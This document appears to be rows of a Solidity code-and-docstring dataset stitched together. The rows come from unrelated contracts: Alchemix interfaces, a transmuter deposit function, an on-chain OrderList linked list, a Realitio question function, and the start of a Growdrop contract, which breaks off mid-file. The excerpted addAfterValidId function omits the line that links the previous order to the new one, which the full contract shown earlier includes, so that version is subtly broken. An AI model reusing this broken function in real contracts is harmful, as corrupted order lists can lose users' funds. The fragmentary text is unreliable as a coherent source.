event MaximumLossUpdated(address indexed yieldToken, uint256 maximumLoss);
/// @notice Emitted when the expected value of a yield token is snapped to its current value.
///
/// @param yieldToken The address of the yield token.
/// @param expectedValue The updated expected value measured in the yield token's underlying token.
event Snap(address indexed yieldToken, uint256 expectedValue);
/// @notice Emitted when `owner` grants `spender` the ability to mint debt tokens on its behalf.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param amount The amount of debt tokens that `spender` is allowed to mint.
event ApproveMint(address indexed owner, address indexed spender, uint256 amount);
/// @notice Emitted when `owner` grants `spender` the ability to withdraw `yieldToken` from its account.
///
/// @param owner The address of the account owner.
/// @param spender The address which is being permitted to mint tokens on the behalf of `owner`.
/// @param yieldToken The address of the yield token that `spender` is allowed to withdraw.
/// @param amount The amount of shares of `yieldToken` that `spender` is allowed to withdraw.
event ApproveWithdraw(address indexed owner, address indexed spender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when a user deposits `amount of `yieldToken` to `recipient`.
///
/// @notice This event does not imply that `sender` directly deposited yield tokens. It is possible that the
/// underlying tokens were wrapped.
///
/// @param sender The address of the user which deposited funds.
/// @param yieldToken The address of the yield token that was deposited.
/// @param amount The amount of yield tokens that were deposited.
/// @param recipient The address that received the deposited funds.
event Deposit(address indexed sender, address indexed yieldToken, uint256 amount, address recipient);
/// @notice Emitted when `shares` shares of `yieldToken` are burned to withdraw `yieldToken` from the account owned
/// by `owner` to `recipient`.
///
/// @notice This event does not imply that `recipient` received yield tokens. It is possible that the yield tokens
/// were unwrapped.
///
/// @param owner The address of the account owner.
/// @param yieldToken The address of the yield token that was withdrawn.
/// @param shares The amount of shares that were burned.
/// @param recipient The address that received the withdrawn funds.
event Withdraw(address indexed owner, address indexed yieldToken, uint256 shares, address recipient);
/// @notice Emitted when `amount` debt tokens are minted to `recipient` using the account owned by `owner`.
///
/// @param owner The address of the account owner.
/// @param amount The amount of tokens that were minted.
/// @param recipient The recipient of the minted tokens.
event Mint(address indexed owner, uint256 amount, address recipient);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to `recipient`.
///
/// @param sender The address which is burning tokens.
/// @param amount The amount of tokens that were burned.
/// @param recipient The address that received credit for the burned tokens.
event Burn(address indexed sender, uint256 amount, address recipient);
/// @notice Emitted when `amount` of `underlyingToken` are repaid to grant credit to `recipient`.
///
/// @param sender The address which is repaying tokens.
/// @param underlyingToken The address of the underlying token that was used to repay debt.
/// @param amount The amount of the underlying token that was used to repay debt.
/// @param recipient The address that received credit for the repaid tokens.
event Repay(address indexed sender, address indexed underlyingToken, uint256 amount, address recipient);
/// @notice Emitted when `sender` liquidates `share` shares of `yieldToken`.
///
/// @param owner The address of the account owner liquidating shares.
/// @param yieldToken The address of the yield token.
/// @param underlyingToken The address of the underlying token.
/// @param shares The amount of the shares of `yieldToken` that were liquidated.
event Liquidate(address indexed owner, address indexed yieldToken, address indexed underlyingToken, uint256 shares);
/// @notice Emitted when `sender` burns `amount` debt tokens to grant credit to users who have deposited `yieldToken`.
///
/// @param sender The address which burned debt tokens.
/// @param yieldToken The address of the yield token.
/// @param amount The amount of debt tokens which were burned.
event Donate(address indexed sender, address indexed yieldToken, uint256 amount);
/// @notice Emitted when `yieldToken` is harvested.
///
/// @param yieldToken The address of the yield token that was harvested.
/// @param minimumAmountOut The maximum amount of loss that is acceptable when unwrapping the underlying tokens into yield tokens, measured in basis points.
/// @param totalHarvested The total amount of underlying tokens harvested.
event Harvest(address indexed yieldToken, uint256 minimumAmountOut, uint256 totalHarvested);
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2State
/// @author Alchemix Finance
interface IAlchemistV2State {
/// @notice Defines underlying token parameters.
struct UnderlyingTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// A coefficient used to normalize the token to a value comparable to the debt token. For example, if the
// underlying token is 8 decimals and the debt token is 18 decimals then the conversion factor will be
// 10^10. One unit of the underlying token will be comparably equal to one unit of the debt token.
uint256 conversionFactor;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Defines yield token parameters.
struct YieldTokenParams {
// The number of decimals the token has. This value is cached once upon registering the token so it is important
// that the decimals of the token are immutable or the system will begin to have computation errors.
uint8 decimals;
// The associated underlying token that can be redeemed for the yield-token.
address underlyingToken;
// The adapter used by the system to wrap, unwrap, and lookup the conversion rate of this token into its
// underlying token.
address adapter;
// The maximum percentage loss that is acceptable before disabling certain actions.
uint256 maximumLoss;
// The maximum value of yield tokens that the system can hold, measured in units of the underlying token.
uint256 maximumExpectedValue;
// The percent of credit that will be unlocked per block. The representation of this value is a 18 decimal
// fixed point integer.
uint256 creditUnlockRate;
// The current balance of yield tokens which are held by users.
uint256 activeBalance;
// The current balance of yield tokens which are earmarked to be harvested by the system at a later time.
uint256 harvestableBalance;
// The total number of shares that have been minted for this token.
uint256 totalShares;
// The expected value of the tokens measured in underlying tokens. This value controls how much of the token
// can be harvested. When users deposit yield tokens, it increases the expected value by how much the tokens
// are exchangeable for in the underlying token. When users withdraw yield tokens, it decreases the expected
// value by how much the tokens are exchangeable for in the underlying token.
uint256 expectedValue;
// The current amount of credit which is will be distributed over time to depositors.
uint256 pendingCredit;
// The amount of the pending credit that has been distributed.
uint256 distributedCredit;
// The block number which the last credit distribution occurred.
uint256 lastDistributionBlock;
// The total accrued weight. This is used to calculate how much credit a user has been granted over time. The
// representation of this value is a 18 decimal fixed point integer.
uint256 accruedWeight;
// A flag to indicate if the token is enabled.
bool enabled;
}
/// @notice Gets the address of the admin.
///
/// @return admin The admin address.
function admin() external view returns (address admin);
/// @notice Gets the address of the pending administrator.
///
/// @return pendingAdmin The pending administrator address.
function pendingAdmin() external view returns (address pendingAdmin);
/// @notice Gets if an address is a sentinel.
///
/// @param sentinel The address to check.
///
/// @return isSentinel If the address is a sentinel.
function sentinels(address sentinel) external view returns (bool isSentinel);
/// @notice Gets if an address is a keeper.
///
/// @param keeper The address to check.
///
/// @return isKeeper If the address is a keeper
function keepers(address keeper) external view returns (bool isKeeper);
/// @notice Gets the address of the transmuter.
///
/// @return transmuter The transmuter address.
function transmuter() external view returns (address transmuter);
/// @notice Gets the minimum collateralization.
///
/// @notice Collateralization is determined by taking the total value of collateral that a user has deposited into their account and dividing it their debt.
///
/// @dev The value returned is a 18 decimal fixed point integer.
///
/// @return minimumCollateralization The minimum collateralization.
function minimumCollateralization() external view returns (uint256 minimumCollateralization);
/// @notice Gets the protocol fee.
///
/// @return protocolFee The protocol fee.
function protocolFee() external view returns (uint256 protocolFee);
/// @notice Gets the protocol fee receiver.
///
/// @return protocolFeeReceiver The protocol fee receiver.
function protocolFeeReceiver() external view returns (address protocolFeeReceiver);
/// @notice Gets the address of the whitelist contract.
///
/// @return whitelist The address of the whitelist contract.
function whitelist() external view returns (address whitelist);
/// @notice Gets the conversion rate of underlying tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of underlying tokens per share.
function getUnderlyingTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the conversion rate of yield tokens per share.
///
/// @param yieldToken The address of the yield token to get the conversion rate for.
///
/// @return rate The rate of yield tokens per share.
function getYieldTokensPerShare(address yieldToken) external view returns (uint256 rate);
/// @notice Gets the supported underlying tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported underlying tokens.
function getSupportedUnderlyingTokens() external view returns (address[] memory tokens);
/// @notice Gets the supported yield tokens.
///
/// @dev The order of the entries returned by this function is not guaranteed to be consistent between calls.
///
/// @return tokens The supported yield tokens.
function getSupportedYieldTokens() external view returns (address[] memory tokens);
/// @notice Gets if an underlying token is supported.
///
/// @param underlyingToken The address of the underlying token to check.
///
/// @return isSupported If the underlying token is supported.
function isSupportedUnderlyingToken(address underlyingToken) external view returns (bool isSupported);
/// @notice Gets if a yield token is supported.
///
/// @param yieldToken The address of the yield token to check.
///
/// @return isSupported If the yield token is supported.
function isSupportedYieldToken(address yieldToken) external view returns (bool isSupported);
/// @notice Gets information about the account owned by `owner`.
///
/// @param owner The address that owns the account.
///
/// @return debt The unrealized amount of debt that the account had incurred.
/// @return depositedTokens The yield tokens that the owner has deposited.
function accounts(address owner) external view returns (int256 debt, address[] memory depositedTokens);
/// @notice Gets information about a yield token position for the account owned by `owner`.
///
/// @param owner The address that owns the account.
/// @param yieldToken The address of the yield token to get the position of.
///
/// @return shares The amount of shares of that `owner` owns of the yield token.
/// @return lastAccruedWeight The last recorded accrued weight of the yield token.
function positions(address owner, address yieldToken)
external view
returns (
uint256 shares,
uint256 lastAccruedWeight
);
/// @notice Gets the amount of debt tokens `spender` is allowed to mint on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to mint on behalf of `owner`.
///
/// @return allowance The amount of debt tokens that `spender` can mint on behalf of `owner`.
function mintAllowance(address owner, address spender) external view returns (uint256 allowance);
/// @notice Gets the amount of shares of `yieldToken` that `spender` is allowed to withdraw on behalf of `owner`.
///
/// @param owner The owner of the account.
/// @param spender The address which is allowed to withdraw on behalf of `owner`.
/// @param yieldToken The address of the yield token.
///
/// @return allowance The amount of shares that `spender` can withdraw on behalf of `owner`.
function withdrawAllowance(address owner, address spender, address yieldToken) external view returns (uint256 allowance);
/// @notice Gets the parameters of an underlying token.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return params The underlying token parameters.
function getUnderlyingTokenParameters(address underlyingToken)
external view
returns (UnderlyingTokenParams memory params);
/// @notice Get the parameters and state of a yield-token.
///
/// @param yieldToken The address of the yield token.
///
/// @return params The yield token parameters.
function getYieldTokenParameters(address yieldToken)
external view
returns (YieldTokenParams memory params);
/// @notice Gets current limit, maximum, and rate of the minting limiter.
///
/// @return currentLimit The current amount of debt tokens that can be minted.
/// @return rate The maximum possible amount of tokens that can be liquidated at a time.
/// @return maximum The highest possible maximum amount of debt tokens that can be minted at a time.
function getMintLimitInfo()
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of a repay limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be repaid.
/// @return rate The rate at which the the current limit increases back to its maximum in tokens per block.
/// @return maximum The maximum possible amount of tokens that can be repaid at a time.
function getRepayLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
/// @notice Gets current limit, maximum, and rate of the liquidation limiter for `underlyingToken`.
///
/// @param underlyingToken The address of the underlying token.
///
/// @return currentLimit The current amount of underlying tokens that can be liquidated.
/// @return rate The rate at which the function increases back to its maximum limit (tokens / block).
/// @return maximum The highest possible maximum amount of debt tokens that can be liquidated at a time.
function getLiquidationLimitInfo(address underlyingToken)
external view
returns (
uint256 currentLimit,
uint256 rate,
uint256 maximum
);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Burnable
/// @author Alchemix Finance
interface IERC20Burnable is IERC20Minimal {
/// @notice Burns `amount` tokens from the balance of `msg.sender`.
///
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burn(uint256 amount) external returns (bool);
/// @notice Burns `amount` tokens from `owner`'s balance.
///
/// @param owner The address to burn tokens from.
/// @param amount The amount of tokens to burn.
///
/// @return If burning the tokens was successful.
function burnFrom(address owner, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
/// @title IERC20Metadata
/// @author Alchemix Finance
interface IERC20Metadata {
/// @notice Gets the name of the token.
///
/// @return The name.
function name() external view returns (string memory);
/// @notice Gets the symbol of the token.
///
/// @return The symbol.
function symbol() external view returns (string memory);
/// @notice Gets the number of decimals that the token has.
///
/// @return The number of decimals.
function decimals() external view returns (uint8);
}
pragma solidity >=0.5.0;
/// @title IERC20Minimal
/// @author Alchemix Finance
interface IERC20Minimal {
/// @notice An event which is emitted when tokens are transferred between two parties.
///
/// @param owner The owner of the tokens from which the tokens were transferred.
/// @param recipient The recipient of the tokens to which the tokens were transferred.
/// @param amount The amount of tokens which were transferred.
event Transfer(address indexed owner, address indexed recipient, uint256 amount);
/// @notice An event which is emitted when an approval is made.
///
/// @param owner The address which made the approval.
/// @param spender The address which is allowed to transfer tokens on behalf of `owner`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Gets the current total supply of tokens.
///
/// @return The total supply.
function totalSupply() external view returns (uint256);
/// @notice Gets the balance of tokens that an account holds.
///
/// @param account The account address.
///
/// @return The balance of the account.
function balanceOf(address account) external view returns (uint256);
/// @notice Gets the allowance that an owner has allotted for a spender.
///
/// @param owner The owner address.
/// @param spender The spender address.
///
/// @return The number of tokens that `spender` is allowed to transfer on behalf of `owner`.
function allowance(address owner, address spender) external view returns (uint256);
/// @notice Transfers `amount` tokens from `msg.sender` to `recipient`.
///
/// @notice Emits a {Transfer} event.
///
/// @param recipient The address which will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transfer(address recipient, uint256 amount) external returns (bool);
/// @notice Approves `spender` to transfer `amount` tokens on behalf of `msg.sender`.
///
/// @notice Emits a {Approval} event.
///
/// @param spender The address which is allowed to transfer tokens on behalf of `msg.sender`.
/// @param amount The amount of tokens that `spender` is allowed to transfer.
///
/// @return If the approval was successful.
function approve(address spender, uint256 amount) external returns (bool);
/// @notice Transfers `amount` tokens from `owner` to `recipient` using an approval that `owner` gave to `msg.sender`.
///
/// @notice Emits a {Approval} event.
/// @notice Emits a {Transfer} event.
///
/// @param owner The address to transfer tokens from.
/// @param recipient The address that will receive the tokens.
/// @param amount The amount of tokens to transfer.
///
/// @return If the transfer was successful.
function transferFrom(address owner, address recipient, uint256 amount) external returns (bool);
}
pragma solidity >=0.5.0;
import "./IERC20Minimal.sol";
/// @title IERC20Mintable
/// @author Alchemix Finance
interface IERC20Mintable is IERC20Minimal {
/// @notice Mints `amount` tokens to `recipient`.
///
/// @param recipient The address which will receive the minted tokens.
/// @param amount The amount of tokens to mint.
///
/// @return If minting the tokens was successful.
function mint(address recipient, uint256 amount) external returns (bool);
}
|
@inheritdoc ITransmuterV2
|
function deposit(uint256 amount, address owner) external override nonReentrant {
_onlyWhitelisted();
_updateAccount(
UpdateAccountParams({
owner: owner,
unexchangedDelta: SafeCast.toInt256(amount),
exchangedDelta: 0
})
);
TokenUtils.safeTransferFrom(syntheticToken, msg.sender, address(this), amount);
emit Deposit(msg.sender, owner, amount);
}
| 157,535
|
pragma solidity 0.4.18;
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/permissionless/OrderListInterface.sol
interface OrderListInterface {
function getOrderDetails(uint32 orderId) public view returns (address, uint128, uint128, uint32, uint32);
function add(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool);
function remove(uint32 orderId) public returns (bool);
function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool);
function getFirstOrder() public view returns(uint32 orderId, bool isEmpty);
function allocateIds(uint32 howMany) public returns(uint32);
function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32);
function addAfterId(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public
returns (bool);
function updateWithPositionHint(uint32 orderId, uint128 srcAmount, uint128 dstAmount, uint32 prevId) public
returns(bool, uint);
}
// File: contracts/permissionless/OrderList.sol
contract OrderList is PermissionGroups, OrderListInterface {
struct Order {
address maker;
uint32 prevId;
uint32 nextId;
uint128 srcAmount;
uint128 dstAmount;
}
mapping (uint32 => Order) public orders;
// Results of calling updateWithPositionHint.
uint constant public UPDATE_ONLY_AMOUNTS = 0;
uint constant public UPDATE_MOVE_ORDER = 1;
uint constant public UPDATE_FAILED = 2;
uint32 constant public TAIL_ID = 1;
uint32 constant public HEAD_ID = 2;
uint32 public nextFreeId = 3;
function OrderList(address _admin) public {
require(_admin != address(0));
admin = _admin;
// Initializing a "dummy" order as HEAD.
orders[HEAD_ID].maker = 0;
orders[HEAD_ID].prevId = 0;
orders[HEAD_ID].nextId = TAIL_ID;
orders[HEAD_ID].srcAmount = 0;
orders[HEAD_ID].dstAmount = 0;
}
function getOrderDetails(uint32 orderId)
public
view
returns (
address maker,
uint128 srcAmount,
uint128 dstAmount,
uint32 prevId,
uint32 nextId
)
{
Order storage order = orders[orderId];
maker = order.maker;
srcAmount = order.srcAmount;
dstAmount = order.dstAmount;
prevId = order.prevId;
nextId = order.nextId;
}
function add(
address maker,
uint32 orderId,
uint128 srcAmount,
uint128 dstAmount
)
public
onlyAdmin
returns(bool)
{
require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID);
uint32 prevId = findPrevOrderId(srcAmount, dstAmount);
return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId);
}
// Returns false if provided with bad hint.
function addAfterId(
address maker,
uint32 orderId,
uint128 srcAmount,
uint128 dstAmount,
uint32 prevId
)
public
onlyAdmin
returns (bool)
{
uint32 nextId = orders[prevId].nextId;
if (!isRightPosition(srcAmount, dstAmount, prevId, nextId)) {
return false;
}
return addAfterValidId(maker, orderId, srcAmount, dstAmount, prevId);
}
function remove(uint32 orderId) public onlyAdmin returns (bool) {
verifyCanRemoveOrderById(orderId);
// Disconnect order from list
Order storage order = orders[orderId];
orders[order.prevId].nextId = order.nextId;
orders[order.nextId].prevId = order.prevId;
// Mark deleted order
order.prevId = TAIL_ID;
order.nextId = HEAD_ID;
return true;
}
function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount)
public
onlyAdmin
returns(bool)
{
address maker = orders[orderId].maker;
require(remove(orderId));
require(add(maker, orderId, srcAmount, dstAmount));
return true;
}
// Returns false if provided with a bad hint.
function updateWithPositionHint(
uint32 orderId,
uint128 updatedSrcAmount,
uint128 updatedDstAmount,
uint32 updatedPrevId
)
public
onlyAdmin
returns (bool, uint)
{
require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID);
// Normal orders usually cannot serve as their own previous order.
// For further discussion see Heinlein's '—All You Zombies—'.
require(orderId != updatedPrevId);
uint32 nextId;
// updatedPrevId is the intended prevId of the order, after updating its
// values.
// If it is the same as the current prevId of the order, the order does
// not need to change place in the list, only update its amounts.
if (orders[orderId].prevId == updatedPrevId) {
nextId = orders[orderId].nextId;
if (isRightPosition(
updatedSrcAmount,
updatedDstAmount,
updatedPrevId,
nextId)
) {
orders[orderId].srcAmount = updatedSrcAmount;
orders[orderId].dstAmount = updatedDstAmount;
return (true, UPDATE_ONLY_AMOUNTS);
}
} else {
nextId = orders[updatedPrevId].nextId;
if (isRightPosition(
updatedSrcAmount,
updatedDstAmount,
updatedPrevId,
nextId)
) {
// Let's move the order to the hinted position.
address maker = orders[orderId].maker;
require(remove(orderId));
require(
addAfterValidId(
maker,
orderId,
updatedSrcAmount,
updatedDstAmount,
updatedPrevId
)
);
return (true, UPDATE_MOVE_ORDER);
}
}
// bad hint.
return (false, UPDATE_FAILED);
}
function allocateIds(uint32 howMany) public onlyAdmin returns(uint32) {
uint32 firstId = nextFreeId;
require(nextFreeId + howMany >= nextFreeId);
nextFreeId += howMany;
return firstId;
}
function compareOrders(
uint128 srcAmount1,
uint128 dstAmount1,
uint128 srcAmount2,
uint128 dstAmount2
)
public
pure
returns(int)
{
uint256 s1 = srcAmount1;
uint256 d1 = dstAmount1;
uint256 s2 = srcAmount2;
uint256 d2 = dstAmount2;
if (s2 * d1 < s1 * d2) return -1;
if (s2 * d1 > s1 * d2) return 1;
return 0;
}
function findPrevOrderId(uint128 srcAmount, uint128 dstAmount)
public
view
returns(uint32)
{
uint32 currId = HEAD_ID;
Order storage curr = orders[currId];
while (curr.nextId != TAIL_ID) {
currId = curr.nextId;
curr = orders[currId];
int cmp = compareOrders(
srcAmount,
dstAmount,
curr.srcAmount,
curr.dstAmount
);
if (cmp < 0) {
return curr.prevId;
}
}
return currId;
}
function getFirstOrder() public view returns(uint32 orderId, bool isEmpty) {
return (
orders[HEAD_ID].nextId,
orders[HEAD_ID].nextId == TAIL_ID
);
}
function addAfterValidId(
address maker,
uint32 orderId,
uint128 srcAmount,
uint128 dstAmount,
uint32 prevId
)
private
returns(bool)
{
Order storage prevOrder = orders[prevId];
// Add new order
orders[orderId].maker = maker;
orders[orderId].prevId = prevId;
orders[orderId].nextId = prevOrder.nextId;
orders[orderId].srcAmount = srcAmount;
orders[orderId].dstAmount = dstAmount;
// Update next order to point back to added order
uint32 nextOrderId = prevOrder.nextId;
if (nextOrderId != TAIL_ID) {
orders[nextOrderId].prevId = orderId;
}
// Update previous order to point to added order
prevOrder.nextId = orderId;
return true;
}
function verifyCanRemoveOrderById(uint32 orderId) private view {
require(orderId != 0 && orderId != HEAD_ID && orderId != TAIL_ID);
Order storage order = orders[orderId];
// Make sure such order exists in mapping.
require(order.prevId != 0 || order.nextId != 0);
}
function isRightPosition(
uint128 srcAmount,
uint128 dstAmount,
uint32 prevId,
uint32 nextId
)
private
view
returns (bool)
{
if (prevId == TAIL_ID || nextId == HEAD_ID) return false;
Order storage prev = orders[prevId];
// Make sure prev order is either HEAD or properly initialised.
if (prevId != HEAD_ID && (
prev.prevId == 0 ||
prev.nextId == 0 ||
prev.prevId == TAIL_ID ||
prev.nextId == HEAD_ID)) {
return false;
}
int cmp;
// Make sure that the new order should be after the provided prevId.
if (prevId != HEAD_ID) {
cmp = compareOrders(
srcAmount,
dstAmount,
prev.srcAmount,
prev.dstAmount
);
// new order is better than prev
if (cmp < 0) return false;
}
// Make sure that the new order should be before provided prevId's next order.
if (nextId != TAIL_ID) {
Order storage next = orders[nextId];
cmp = compareOrders(
srcAmount,
dstAmount,
next.srcAmount,
next.dstAmount
);
// new order is worse than next
if (cmp > 0) return false;
}
return true;
}
}
// File: contracts/permissionless/OrderListFactory.sol
contract OrderListFactory {
function newOrdersContract(address admin) public returns(OrderListInterface) {
OrderList orders = new OrderList(admin);
return orders;
}
}
|
Add new order Update next order to point back to added order
|
function addAfterValidId(
address maker,
uint32 orderId,
uint128 srcAmount,
uint128 dstAmount,
uint32 prevId
)
private
returns(bool)
{
Order storage prevOrder = orders[prevId];
orders[orderId].maker = maker;
orders[orderId].prevId = prevId;
orders[orderId].nextId = prevOrder.nextId;
orders[orderId].srcAmount = srcAmount;
orders[orderId].dstAmount = dstAmount;
uint32 nextOrderId = prevOrder.nextId;
if (nextOrderId != TAIL_ID) {
orders[nextOrderId].prevId = orderId;
}
return true;
}
| 6,811,524
|
./partial_match/1/0xDb21022608879Dc1E41f21fEB3f0019137A05Db8/sources/RealitioArbitratorProxy.sol
|
A timeout of 0 makes no sense, and we will use this to check existence The arbitrator can set a fee for asking a question. This is intended as an anti-spam defence. The fee is waived if the arbitrator is asking the question. This allows them to set an impossibly high fee and make users proxy the question through them. This would allow more sophisticated pricing, question whitelisting etc.
|
function _askQuestion(bytes32 question_id, bytes32 content_hash, address arbitrator, uint32 timeout, uint32 opening_ts)
stateNotCreated(question_id)
internal {
require(timeout > 0, "timeout must be positive");
require(timeout < 365 days, "timeout must be less than 365 days");
require(arbitrator != NULL_ADDRESS, "arbitrator must be set");
uint256 bounty = msg.value;
if (msg.sender != arbitrator) {
uint256 question_fee = arbitrator_question_fees[arbitrator];
require(bounty >= question_fee, "ETH provided must cover question fee");
bounty = bounty.sub(question_fee);
balanceOf[arbitrator] = balanceOf[arbitrator].add(question_fee);
}
questions[question_id].content_hash = content_hash;
questions[question_id].arbitrator = arbitrator;
questions[question_id].opening_ts = opening_ts;
questions[question_id].timeout = timeout;
questions[question_id].bounty = bounty;
}
| 4,396,995
|
pragma solidity ^0.5.11;
import "./DonateTokenInterface.sol";
import "./EIP20Interface.sol";
import "./CTokenInterface.sol";
import "./UniswapFactoryInterface.sol";
import "./KyberNetworkProxyInterface.sol";
import "./TokenswapInterface.sol";
/**
* @dev Implementation of Growdrop. from creating growdrop to starting, funding, refunding, ending, withdraw.
*/
contract Growdrop {
/**
* @notice Address to get owner fee from Growdrop.
*/
address public owner;
/**
* @notice Check whether address is admin.
*/
mapping(address => bool) public CheckOwner;
/**
* @notice Current DonateToken contract
*/
DonateTokenInterface public DonateToken;
/**
* @notice Current Tokenswap contract
*/
TokenswapInterface public Tokenswap;
/**
* @notice Growdrop's sequential number
*/
uint256 public GrowdropCount;
/**
* @notice Growdrop event's sequential number
*/
uint256 public EventIdx;
/**
* @notice Address of receiving accrued interest address by Growdrop's identifier
*/
mapping(uint256 => address) public Beneficiary;
/**
* @notice Compound CToken amount per investor address by Growdrop's identifier
*/
mapping(uint256 => mapping(address => uint256)) public CTokenPerAddress;
/**
* @notice Funded ERC20 token amount per investor address by Growdrop's identifier
*/
mapping(uint256 => mapping(address => uint256)) public InvestAmountPerAddress;
/**
* @notice Actual amount per investor address by Growdrop's identifier
*/
mapping(uint256 => mapping(address => uint256)) public ActualPerAddress;
/**
* @notice Actual Compound CToken amount per investor address by Growdrop's identifier
*/
mapping(uint256 => mapping(address => uint256)) public ActualCTokenPerAddress;
/**
* @notice Check whether address withdrawn or not by Growdrop's identifier
*/
mapping(uint256 => mapping(address => bool)) public WithdrawOver;
/**
* @notice ERC20 token amount to send to investors by Growdrop's identifier
*/
mapping(uint256 => uint256) public GrowdropAmount;
/**
* @notice Growdrop's start timestamp by Growdrop's identifier
*/
mapping(uint256 => uint256) public GrowdropStartTime;
/**
* @notice Growdrop's end timestamp by Growdrop's identifier
*/
mapping(uint256 => uint256) public GrowdropEndTime;
/**
* @notice Growdrop's total funded ERC20 token amount by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalMintedAmount;
/**
* @notice Growdrop's total Compound CToken amount by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalCTokenAmount;
/**
* @notice Growdrop's total actual amount by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalMintedActual;
/**
* @notice Growdrop's total actual Compound CToken amount by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalCTokenActual;
/**
* @notice Compound's exchange rate when Growdrop is over by Growdrop's identifier
*/
mapping(uint256 => uint256) public ExchangeRateOver;
/**
* @notice Growdrop's total accrued interest when Growdrop is over by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalInterestOver;
/**
* @notice Growdrop's total actual accrued interest when Growdrop is over by Growdrop's identifier
*/
mapping(uint256 => uint256) public TotalInterestOverActual;
/**
* @notice ERC20 token amount to add to UniswapExchange by Growdrop's identifier
*/
mapping(uint256 => uint256) public ToUniswapTokenAmount;
/**
* @notice Percentage of Growdrop's total accrued interest to add to UniswapExchage by Growdrop's identifier
*/
mapping(uint256 => uint256) public ToUniswapInterestRate;
/**
* @notice Check whether Growdrop is over by Growdrop's identifier
*/
mapping(uint256 => bool) public GrowdropOver;
/**
* @notice Check whether Growdrop is started by Growdrop's identifier
*/
mapping(uint256 => bool) public GrowdropStart;
/**
* @notice Growdrop's Donation identifier by Growdrop's identifier
*/
mapping(uint256 => uint256) public DonateId;
/**
* @notice ERC20 Token to fund by Growdrop's identifier
*/
mapping(uint256 => EIP20Interface) public Token;
/**
